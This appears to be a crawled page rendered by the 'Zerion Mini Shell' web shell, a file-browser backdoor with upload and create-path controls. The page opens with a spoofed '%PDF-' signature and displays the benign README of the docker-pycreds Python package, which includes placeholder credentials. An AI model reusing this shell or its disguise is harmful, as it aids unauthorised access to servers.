%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/doc/python36-docker-pycreds-0.2.1/
Upload File :
Create Path :
Current File : //usr/share/doc/python36-docker-pycreds-0.2.1/README.md

# docker-pycreds

Python bindings for the docker credentials store API

## Credentials store info

[Docker documentation page](https://docs.docker.com/engine/reference/commandline/login/#/credentials-store)

## Requirements

On top of the dependencies in `requirements.txt`, the `docker-credential`
executable for the platform must be installed on the user's system.

## API usage

```python

import dockerpycreds

store = dockerpycreds.Store('secretservice')
store.store(
    server='https://index.docker.io/v1/', username='johndoe',
    secret='hunter2'
)
print store.get('https://index.docker.io/v1/')

store.erase('https://index.docker.io/v1/')
```

Zerion Mini Shell 1.0